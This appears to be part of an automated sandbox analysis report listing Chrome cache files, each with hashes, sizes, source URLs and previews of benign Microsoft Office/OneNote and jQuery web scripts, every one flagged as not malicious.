Chrome Cache Entry: 434

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1696802
Entropy (8bit):	5.421500983139629
Encrypted:	false
SSDEEP:	49152:mBg7cgtoqbFjH4+mzfYyWhqyU0scDvpttZwJbhTJrSK4VxjPHRYOI+AmOkmMOkx2:hHJBRnISK
MD5:	E1FD17FCEC2CB35FD213E85B52850C2F
SHA1:	0287D09192300AA91E7C6AFA684B4EF80D536CAF
SHA-256:	5C1A339B057F4356DA637C136C76F77BF98CA7680958AC271CE0E1657C8EAB5F
SHA-512:	A12B566E32A419B13432098D9231E3870A20C72DB82103F33F3B347ED3B9D917111F02C9D78F29D9B9081DF3E9977F139FF27922C843609FB597A972CB6D09B1
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/wp5/common.min.js
Preview:	function asyncGeneratorStep(e,t,o,n,r,i,a){try{var s=e[i](a),l=s.value}catch(e){return void o(e)}s.done?t(l):Promise.resolve(l).then(n,r)}function _async_to_generator(e){return function(){var t=this,o=arguments;return new Promise((function(n,r){var i=e.apply(t,o);function a(e){asyncGeneratorStep(i,n,r,a,s,"next",e)}function s(e){asyncGeneratorStep(i,n,r,a,s,"throw",e)}a(void 0)}))}}function _define_property(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},n=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(o).filter((function(e){return Object.getOwnPropertyDescriptor(o,e).enumerable})))),n.forEach((function(t){_define_property(e,t,o[t])}))}return e}function ownKeys(e,t){var o=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.fi

Chrome Cache Entry: 435

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3831
Entropy (8bit):	5.120639874211328
Encrypted:	false
SSDEEP:	96:itGurLtJwqfjH6CIuRxs0gPhtxq+jLqXnvZQQ2:itGu3t+yb6CBUHN
MD5:	72D9A825554620C51BF0018A457E7F2E
SHA1:	23400E26C69A1F8A47236FFAD4BC80FC80BA773E
SHA-256:	365009220D893F07B356C7F253CECD5A9F7E06D6207A3DD7A148FC73812B4FE6
SHA-512:	9212035EFC74AD61A74FA806229E4A97BB9FB50698B0B15BD7296AD53B6A2C9A43D0A3E2082286F4AC60167E129E07CB511638A103C510DB3B5ADA6A383165A6
Malicious:	false
Preview:	/!.. JavaScript Cookie v2.1.3.. * https://github.com/js-cookie/js-cookie.. .. Copyright 2006, 2015 Klaus Hartl & Fagner Brack.. * Released under the MIT license.. */..;(function (factory) {...var registeredInModuleLoader = false;...if (typeof define === 'function' && define.amd) {....define(factory);....registeredInModuleLoader = true;...}...if (typeof exports === 'object') {....module.exports = factory();....registeredInModuleLoader = true;...}...if (!registeredInModuleLoader) {....var OldCookies = window.Cookies;....var api = window.Cookies = factory();....api.noConflict = function () {.....window.Cookies = OldCookies;.....return api;....};...}..}(function () {...function extend () {....var i = 0;....var result = {};....for (; i < arguments.length; i++) {.....var attributes = arguments[ i ];.....for (var key in attributes) {......result[key] = attributes[key];.....}....}....return result;...}.....function init (converter) {....function api (key, value, attributes) {.....var res

Chrome Cache Entry: 436

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 437

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65308), with no line terminators
Category:	dropped
Size (bytes):	272775
Entropy (8bit):	5.703967581910577
Encrypted:	false
SSDEEP:	6144:fyRPX2jNq/+7WvPkjS3wiJArdlX7DVAjIOpcJuL1Y9:ef2jNF8PkjGrQdlXqjIOpcJuL1Y9
MD5:	8D9EDD60E2B6329696B4B416FF6178D2
SHA1:	BDDA8531DA8BFB1031B9F9C03F8B5B26004EDF00
SHA-256:	4E23B6C34FCBDBF7EFD6120B27D65D6D0A74E60F161377D678AD530E7DF10251
SHA-512:	E77682825ACE6FECE7E9F01CC0B938FDCE74C6865A97CAA55751AD946AB5D43F5CD8DA27511496D9495573E2C90435BE781C1DD10F8F54F3EFC19700B7B528D6
Malicious:	false
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_core_start"),function(){var e,t,n,o,r,i={87775:function(e,t,n){"use strict";var o;n.d(t,{f:function(){return o}}),function(e){e.depth0="0 0 0 0 transparent",e.depth4="0 1.6px 3.6px 0 rgba(0, 0, 0, 0.132), 0 0.3px 0.9px 0 rgba(0, 0, 0, 0.108)",e.depth8="0 3.2px 7.2px 0 rgba(0, 0, 0, 0.132), 0 0.6px 1.8px 0 rgba(0, 0, 0, 0.108)",e.depth16="0 6.4px 14.4px 0 rgba(0, 0, 0, 0.132), 0 1.2px 3.6px 0 rgba(0, 0, 0, 0.108)",e.depth64="0 25.6px 57.6px 0 rgba(0, 0, 0, 0.22), 0 4.8px 14.4px 0 rgba(0, 0, 0, 0.18)"}(o\|\|(o={}))},83779:function(e,t,n){"use strict";n.d(t,{I:function(){return c}});var o=/[$\[\{\<][^$\]\}\>][\)\]\}\>]/g,r=/[\0-\u001F\!-/:-@\[-`\{-\u00BF\u0250-\u036F\uD800-\uFFFF]/g,i=/^\d+[\d\s](:?ext\|x\|)\s*\d+$/i,s=/\s+/g,a=/[\u0600-\u06FF\u0750-\u077F\u08A0-\u08FF\u1100-\u11FF\u3130-\u318F\uA960-

Chrome Cache Entry: 438

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	101803
Entropy (8bit):	5.333052740426743
Encrypted:	false
SSDEEP:	1536:uRJ1IIdEgIamTvRJSRk9UUezt4C34zcsSClhev:uRRYamTvRJsUezt4w4ztlhev
MD5:	2F1D74149F052D3354358E9856375219
SHA1:	8019F7A2EA824930F91C3EC375D926B650FB1CFF
SHA-256:	66C70312DE6CA4E1D7EF1E858307764C241A80E7411CEE686EA2FC2D74152749
SHA-512:	2B1C4E057DBF59E89C3AA9C5DAB1FE8F512ED400088B13592E493B3D48AA334544A7999CA2DDEFA34C23D2F96A2F98B93DD0AAC80C3CF7C37D85B49C5A85A6E6
Malicious:	false
Preview:	var otelWorker=function(e){var n={};function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)\|\|Object.defineProperty(e,n,{enumerable:!0,get:r})},t.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},t.t=function(e,n){if(1&n&&(e=t(e)),8&n)return e;if(4&n&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(t.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&n&&"string"!=typeof e)for(var i in e)t.d(r,i,function(n){return e[n]}.bind(null,i));return r},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,n){return Object.prototype.hasOwnProperty.call(e,n)},t.p="",t(t.s=7)}([function(e,n,t){"use strict";t.d(n,"h",(function(){return r})),t.d(

Chrome Cache Entry: 439

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3147
Entropy (8bit):	5.8734839640917516
Encrypted:	false
SSDEEP:	96:SRSHCReiZ1ZXsOyB+kRJR8V87+tHjihsBlapRMH:SDRTTtsOG+k+FZbapu
MD5:	DFE3652C1EA0FC667C2E2A4261CD64DF
SHA1:	943F0D0650C11D8386406397701B0CEF5E759AA3
SHA-256:	784545063730163ED3F249AA0285F8B06553C65E8BCA1AA01FE1C699175845F1
SHA-512:	D09C3AD8B1F88F26F58633FFCD759B7A262F9318AE6AE1E65B45676FBD87E8A9AA4AA7B077EA85D40F91E302053C1828097ADB73E1375973C9D14A8B0FA3CF98
Malicious:	false
Preview:	{"clientVersion":"20241022.4","files":{"owl.js":["owl.60b0607ba5126556995f.js","sha384-zDj3tmNYOwI2Am9oqiJuUbxIaqusrXTjzUd363HCfgg6i2ghsMasGwdCF60uMl6Q"],"owl.slim.js":["owl.slim.3fa2c9c3701ebced3bca.js","sha384-yahtC8hwk8GSYMODl/5HooFPYeo4GRkkrG0e5oCKKinnLifATz+1C343rSkOYQIn"],"owlnest.js":["owlnest.9b8213be8ac8f0683002.js","sha384-HLSNmHA5WyyRDQkWqjGHIqfG1jJbiJ9on/1ItCDW/s74A6I3NMUU+NURu6U2TFXr"],"authwebworker.js":["authwebworker.1e854ce4990e8cb68c1e.js","sha384-aLLZVqovQQU7Ox3t5eatei8rWrvm5jOvBXcI3CoOeUWGsujvHUYikecoSQJXsnpG"],"sharedauthclient.js":["sharedauthclient.d39162c303dd9c59a0b9.js","sha384-hvv59LW8MYRaPhiDsNda4L8FuuGinGTOzYhULujODsEQFbBHWKC5+Qt3otL+vxtU"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.4e8d8cd9eee1cfb3c162.js","sha384-AAafx3qf00WWge43xDnO9HBNP42FZ58TVQIzTmDaxtfYcm8vVw+OLV2Kv5bCi4TK"],"sharedauthclientmsal.js":["sharedauthclientmsal.39dcdf70a2434436117b.js","sha384-tpvjg53cnAY5Ku4H8RkNIKuRYPYkZqgGeq+TVwolQx0fjiV2k7JNAV2Lr8LrwDDo"],"sharedaut

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	175719
Entropy (8bit):	4.255303968193695
Encrypted:	false
SSDEEP:	1536:0hEjBUBvBrBXBWBIBXBXBaBIBQBbBnBgAfBRBbB3BjBTBDBvBHBPBPBxBBBHB6ST:/RYAQ+
MD5:	9CFEFB2D46D6102DAC2A24C606F47FEA
SHA1:	076B63F4F46CE28648201E2507BBC67FB4F990C5
SHA-256:	43C5939CB732D8AA2D20FCE97F359F46B7C3B937E60ED576B752AE0A2E73314F
SHA-512:	C56812F0A9DCBC53E8AFA542923F20E911DE172C1D87B9868DB42A01F2FC303BBECE6509925E43E8F877DC8A3C7904FAE731C1C19BD35B5FAD18582B7498E24D
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/OfficeExtension.WacRuntime.js
Preview:	var __extends = (this && this.__extends) \|\| (function () {.. var extendStatics = function (d, b) {.. extendStatics = Object.setPrototypeOf \|\|.. ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) \|\|.. function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };.. return extendStatics(d, b);.. };.. return function (d, b) {.. extendStatics(d, b);.. function __() { this.constructor = d; }.. d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());.. };..})();..var OfficeExtension;..(function (OfficeExtension) {.. var WacRuntime;.. (function (WacRuntime) {.. var ApiFlags;.. (function (ApiFlags) {.. ApiFlags[ApiFlags["none"] = 0] = "none";.. ApiFlags[ApiFlags["restrictedResource"] = 4] = "restrictedResource";.. ApiFlags[ApiFlags["makerSafe"] = 128] = "makerSafe";.. ApiFlags[ApiFlags["excludedF

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	210219
Entropy (8bit):	5.519964966089905
Encrypted:	false
SSDEEP:	6144:PZHFGRKBMktdKMxiqyAc0YmKb6Ts4sW5k9b:hFGRKBMktdVxiqyAc0vTs4sW5k9b
MD5:	8E9FFFA7BE90F048F46B6CCA399661F2
SHA1:	9E8F440BA763918EF08D4FC523E2C11073677A4C
SHA-256:	67CB3AFF2EBBF18F67B2823712560A8103771722010E9EAE0D91840AB407F539
SHA-512:	40B430641309CC1B3DE0A3CE8213B71058CAA14EC65D6847B30808ACE7A7517901CA4E335619A1847B1556B9331862EC2D26EB7687995D794DAC2363243C60DA
Malicious:	false
URL:	https://wise.public.cdn.office.net/wise/owl/owl.60b0607ba5126556995f.js
Preview:	var Microsoft;!function(){"use strict";var t,e,n,o,r={32812:function(t,e,n){n.d(e,{h:function(){return s}});var o=n(13260),r=n(40426),i=n(19665),s=function(t){function e(){var e=null!==t&&t.apply(this,arguments)\|\|this;return e.value=null,e.hasNext=!1,e.hasCompleted=!1,e}return o.C6(e,t),e.prototype.N=function(e){return this.hasError?(e.error(this.thrownError),i.y.EMPTY):this.hasCompleted&&this.hasNext?(e.next(this.value),e.complete(),i.y.EMPTY):t.prototype.N.call(this,e)},e.prototype.next=function(t){this.hasCompleted\|\|(this.value=t,this.hasNext=!0)},e.prototype.error=function(e){this.hasCompleted\|\|t.prototype.error.call(this,e)},e.prototype.complete=function(){this.hasCompleted=!0,this.hasNext&&t.prototype.next.call(this,this.value),t.prototype.complete.call(this)},e}(r.B7)},39188:function(t,e,n){n.d(e,{t:function(){return s}});var o=n(13260),r=n(40426),i=n(92581),s=function(t){function e(e){var n=t.call(this)\|\|this;return n.B=e,n}return o.C6(e,t),Object.defineProperty(e.prototype,"va

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	10290
Entropy (8bit):	4.837717444305284
Encrypted:	false
SSDEEP:	192:iAY/Yye00RR2WxnYkSSWmcrKnmuV2UmHPRmCHpoRqiKaUVIv4DLhBA:w0RR2WxnYk5Wmw8ipo0Hu
MD5:	4DF9B0011F8AE623E26116BC635CFB36
SHA1:	0D68BBCB58D190F6E2803043A1823A3826325F33
SHA-256:	47D6DBDB766BD7EA675F68A5CE5A22654554001EFC7007A0B8C484069D9E2638
SHA-512:	3BD8C4FDCC43199DB8D4EA1E668495837AF3931EAD7EA4AC16D775D3FBDF3BC35833CF2DF86BE8492EDC82090A1ED2B79A4DC3233BC3FD064F7C46424B403745
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_resources/1033/moeerrorux.css
Preview:	.moe-infobar-body {.. background-color:#FCF7B6;.. border:1px solid #D9D98B;.. position:relative;.. max-height:110px;.. overflow:hidden;.. white-space: normal;..}.....moe-infobar-body:hover {.. background-color:#FEF294;..}.....moe-hovered {.. background-color:#FEF294;..}.....moe-infobar-infotable {.. width:100%;.. height:100%;.. max-height:110px;..}.....moe-infobar-top-left-cell {.. width:30px;.. min-width:30px;.. max-width:30px;.. vertical-align:top;.. padding:1px; ..}.....moe-infobar-message-cell {.. padding:7px 7px 3px 0px;.. vertical-align:top;..}.....moe-infobar-top-right-cell {.. width:20px;.. min-width:20px;.. max-width:20px;.. vertical-align:top;..}.....moe-infobar-button-cell {.. padding:0px 10px 6px 0px;..}.....moe-status-warning-icon{.. position:absolute;.. clip:rect(0px 42px 41px 0px);.. top:0px;.. left:0px;.. .. .. .. .. .. ..}.....moe-status-warning-icon_ie{.. position:ab

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	89749
Entropy (8bit):	5.907896932868388
Encrypted:	false
SSDEEP:	1536:TF7qkDiiBSPqAYXUJqc9a/qc9aJyXUEUx:J7j7B4S6RaVC
MD5:	1BF11FC2DBDB5C48B7D60F5005583417
SHA1:	DF52B131F6B151E674204CBA77082EFAEFBC3F8C
SHA-256:	172E218E70CC419328B7AAB580615DA2A562E1508EAC9AC3014C52C51F2F50EC
SHA-512:	A40545B0B88AAF5EC4D28015B72451CE6F19073FC7E1CF6A8B08EEAB6D173CCE9E62553CACFDA7FE0FB4DDECB2E09E8B966C6466AE50AC31193481D82898ECB6
Malicious:	false
Preview:	.<?xml version="1.0" encoding="UTF-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0" xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">...<Id>90da59be-5361-4260-9218-2262af1dc334</Id>...<Version>1.0.0.0</Version>...<ProviderName>Microsoft Corporation</ProviderName>...<DefaultLocale>en-US</DefaultLocale>...<DisplayName DefaultValue="Add Meeting Details">.... START STRING LOCALIZATION REPLACEMENT (StringID: OfficeAddIns.Meetings.ManifestDisplayName -->......<Override Locale="af-ZA" Value="Voeg vergaderingbesonderhede by" />....<Override Locale="en-US" Value="Add Meeting Details" />....<Override Locale="am-ET" Value="..... ...... ...." />....<Override Locale="ar-SA" Value="..... ...... ........" />....<Override Locale="as-IN" Value="..

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	339610
Entropy (8bit):	5.46178193725466
Encrypted:	false
SSDEEP:	6144:5kx/Wpugxh1/j43olxxbVmrbjuW8y+5MZmKF+UQqZzEu02INNUbVczjzxT3etnOx:5J71/j43olrbqI5MZmvUQQou02INzjzN
MD5:	E746E552DFEE09A22EB2C31E2FF2F25F
SHA1:	22F2917266E5F6D0C97A24A442524EC50B3FFF8A
SHA-256:	A8A3FEF2AF9DE0C46070F36DCBDAC61DBC31FED3E1F668CC369D0B07B298A828
SHA-512:	985609CBF15C183C0EE2D14CF367A22AD4F6E58BAABE8E03B0A7C645BD82CAF0A7B0015782BE22BEA7540B282746C8C612D6DBE9B7422132D537A15C34CAB2EA
Malicious:	false
URL:	https://wise.public.cdn.office.net/wise/owl/owl.onenote.4bc3c3c0b8cdbadea8be.js
Preview:	var Microsoft;!function(){var e,t,n,i,o={4267:function(e,t,n){var i,o=function(){var e=String.fromCharCode,t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$",i={};function o(e,t){if(!i[e]){i[e]={};for(var n=0;n<e.length;n++)i[e][e.charAt(n)]=n}return i[e][t]}var s={compressToBase64:function(e){if(null==e)return"";var n=s.H(e,6,(function(e){return t.charAt(e)}));switch(n.length%4){default:case 0:return n;case 1:return n+"===";case 2:return n+"==";case 3:return n+"="}},decompressFromBase64:function(e){return null==e?"":""==e?null:s.A(e.length,32,(function(n){return o(t,e.charAt(n))}))},compressToUTF16:function(t){return null==t?"":s.H(t,15,(function(t){return e(t+32)}))+" "},decompressFromUTF16:function(e){return null==e?"":""==e?null:s.A(e.length,16384,(function(t){return e.charCodeAt(t)-32}))},compressToUint8Array:function(e){for(var t=s.compress(e),n=new Uint8Array(2*t.length),i=0,o=t.length;i<o;i

Chrome Cache Entry: 445

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57788)
Category:	downloaded
Size (bytes):	57831
Entropy (8bit):	5.310477756021743
Encrypted:	false
SSDEEP:	1536:s3nHejeriyXnQHKg5gA07UZcSolXfk0HuIx/YKi0PK:o3E15gLpSYkp2/YP
MD5:	BC93B7FD04F68A94312B547CEF297451
SHA1:	59EA29125AD34035D985DA7C32668D1570BA2FE0
SHA-256:	E55ED51D4941518F0B995EDF3557D3845DB5B91E0EA9F7BA771DC14A312871A1
SHA-512:	D9BFC87D2B458952707FE509190762B064263F61051A16068DCFE67F3FA7E5A39FC69B8F0D4CF035763EF7E563EBE92464A63E988BEB3991765142C41738C9DF
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/hE55ED51D4941518F_App_Scripts/wp5/wacBootNew.min.js
Preview:	var wacBoot;!function(){"use strict";var e,t,i={},n={};function s(e){var t=n[e];if(void 0!==t)return t.exports;var o=n[e]={exports:{}};return i[e](o,o.exports,s),o.exports}s.m=i,s.d=function(e,t){for(var i in t)s.o(t,i)&&!s.o(e,i)&&Object.defineProperty(e,i,{enumerable:!0,get:t[i]})},s.f={},s.e=function(e){return Promise.all(Object.keys(s.f).reduce((function(t,i){return s.f[i](e,t),t}),[]))},s.u=function(e){return"pasLogger.min.js"},s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),s.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},e={},t="wacBoot:",s.l=function(i,n,o,a){if(e[i])e[i].push(n);else{var r,l;if(void 0!==o)for(var c=document.getElementsByTagName("script"),d=0;d<c.length;d++){var u=c[d];if(u.getAttribute("src")==i\|\|u.getAttribute("data-webpack")==t+o){r=u;break}}r\|\|(l=!0,(r=document.createElement("script")).charset="utf-8",r.timeout=120,s.nc&&r.

Chrome Cache Entry: 446

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	339610
Entropy (8bit):	5.461680846673144
Encrypted:	false
SSDEEP:	6144:5kx/Wpugxh1/j43olxxvVmrbjuU8t+5MZmKF+UQqZzEu02INNUbVczjzxT3etnOF:5J71/j43olrvwD5MZmvUQQou02INzjzZ
MD5:	3309FB05681E22B6802DDA0759839080
SHA1:	C2E778DA54300AD0CBAE065147E4E255068CADC5
SHA-256:	316FA5C7EA4EDF117C79E2447E95506068FAE35FB15E302D15F3822417C7C321
SHA-512:	844FF8216156B1D7319F4F7E87E67565E31DE3D45BEBC8176C81BD98EED7F7ACD9925780AA285C98995674615BE5E6F347F78A9A9E99480BA8C9A64CFE7E3C5F
Malicious:	false
URL:	https://wise.public.cdn.office.net/wise/owl/owl.onenote.2cd87d0e897aa8712ec1.js
Preview:	var Microsoft;!function(){var e,t,n,i,o={4267:function(e,t,n){var i,o=function(){var e=String.fromCharCode,t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$",i={};function o(e,t){if(!i[e]){i[e]={};for(var n=0;n<e.length;n++)i[e][e.charAt(n)]=n}return i[e][t]}var s={compressToBase64:function(e){if(null==e)return"";var n=s.H(e,6,(function(e){return t.charAt(e)}));switch(n.length%4){default:case 0:return n;case 1:return n+"===";case 2:return n+"==";case 3:return n+"="}},decompressFromBase64:function(e){return null==e?"":""==e?null:s.A(e.length,32,(function(n){return o(t,e.charAt(n))}))},compressToUTF16:function(t){return null==t?"":s.H(t,15,(function(t){return e(t+32)}))+" "},decompressFromUTF16:function(e){return null==e?"":""==e?null:s.A(e.length,16384,(function(t){return e.charCodeAt(t)-32}))},compressToUint8Array:function(e){for(var t=s.compress(e),n=new Uint8Array(2*t.length),i=0,o=t.length;i<o;i

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	144527
Entropy (8bit):	5.270658476600385
Encrypted:	false
SSDEEP:	3072:ThfpfLUCioBZUQi/jlUdIm1UQAYEipPAoi:ThfpfLUCiwOjlUdIm1UQAYEipPAoi
MD5:	9DECB0C734D0ECAD3E60A93F23DB8F39
SHA1:	96BC3698D305077A5A5CF09303BE1195FA65824C
SHA-256:	54C618DE71735F3693D0DF3ACD1A36DD17AFF1655D09A0F2A23A314F9BA92765
SHA-512:	F3457AD524DB82CCC8EBDA6A152AA5E9BBB4B79BC87C946EF20DDACE8346119B71513F965876F414106B252D346B20D9ECC0E9DCABE389FA2A34530AB48D1F75
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/h54C618DE71735F36_App_Scripts/wp5/onenoteSyncNew.min.js
Preview:	var onenoteSync;!function(){var t={107:function(t,n,e){t.exports=function(){"use strict";var t=function(){return t=Object.assign\|\|function(t){for(var n,e=1,r=arguments.length;e<r;e++)for(var i in n=arguments[e])Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i]);return t},t.apply(this,arguments)};function n(t,n,e){if(e\|\|2===arguments.length)for(var r,i=0,s=n.length;i<s;i++)!r&&i in n\|\|(r\|\|(r=Array.prototype.slice.call(n,0,i)),r[i]=n[i]);return t.concat(r\|\|Array.prototype.slice.call(n))}var r="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof self?self:"undefined"!=typeof window?window:e.g,i=Object.keys,s=Array.isArray;function o(t,n){return"object"!=typeof n\|\|i(n).forEach((function(e){t[e]=n[e]})),t}"undefined"==typeof Promise\|\|r.Promise\|\|(r.Promise=Promise);var u=Object.getPrototypeOf,a={}.hasOwnProperty;function c(t,n){return a.call(t,n)}function h(t,n){"function"==typeof n&&(n=n(u(t))),("undefined"==typeof Reflect?i:Reflect.ownKeys)(n).forEach((function(e){l(t,e,n[e])}

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41116)
Category:	dropped
Size (bytes):	41140
Entropy (8bit):	5.513380748841639
Encrypted:	false
SSDEEP:	768:2ox/6ef5WhPJ76SqwRltw7u0kBQrKeTgVzVyh4Hs2V7M3B3:2i5WhIIl2K6VUhyhR2V74N
MD5:	08FBFF79B5EEC28DDFF4D772223B81A9
SHA1:	AAABD7E0B32698E8295139C4868E9AEE5EDBD112
SHA-256:	773A678845579E6334F19D4E62F29446E7898BD816359C74574E37884503F909
SHA-512:	F94A2C8D756313A616F4E3DBDB9661AF3CC843F74CF066243C649F943E4AEAB696E01E37E33CC57DF16F73504B529702D28C779931ADC2630C6D4FD318FFDDC7
Malicious:	false
Preview:	/! Version=16.0.0.0 /.if(!window)window=this;var Type=Function;window.Type=Type;Array.$F=function(a,b){a.push(b)};Array.clear=function(a){a.length=0};Array.$1n=function(a,b){return Array.$1L(a,b)>=0};Array.$1L=function(c,e,a){if(c.indexOf)return c.indexOf(e,a);a=a;if(isNaN(a))a=0;var d=c.length;if(isFinite(a))a=a\|0;if(a<0)a=Math.max(0,d+a);for(var b=a;b<d;b++)if(c[b]===e)return b;return-1};Array.dequeue=function(a){return a.shift()};Array.enqueue=function(a,b){Array.$F(a,b)};Array.$2O=function(b,c){var a=Array.$1L(b,c);a>=0&&Array.$1y(b,a);return a>=0};Array.$1y=function(a,b){a.splice(b,1)};Array.__typeName="Array";Array.$1c=true;Boolean.__typeName="Boolean";Boolean.$1c=true;Date.$26=function(f,c){for(var d=0,a=false,b=0,g=f.length;b<g;b++){var e=f.charAt(b);switch(e){case"'":if(a)c.$0("'");else d++;a=false;break;case"\\":a&&c.$0("\\");a=!a;break;default:c.$0(e.toString());a=false}}return d};Date.$2E=function(a,b){if(!b)b="F";if(b.length===1)switch(b){case"d":return a.ShortDatePatter

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3147
Entropy (8bit):	5.883845445403374
Encrypted:	false
SSDEEP:	96:AXw1FTwReiZ1ZhojOyB+kRJRLnhnxawWyt:AXw1xwRTT6OG+kxnnahE
MD5:	BF54C6C78528E16FC0AD57914E63FDC8
SHA1:	A60018B4279E838668A077B6B97D58A4499EA0B6
SHA-256:	2D39D1B2762CD85B10719B18FC182CB4C0AC02C701DB51252CEC9A530208537A
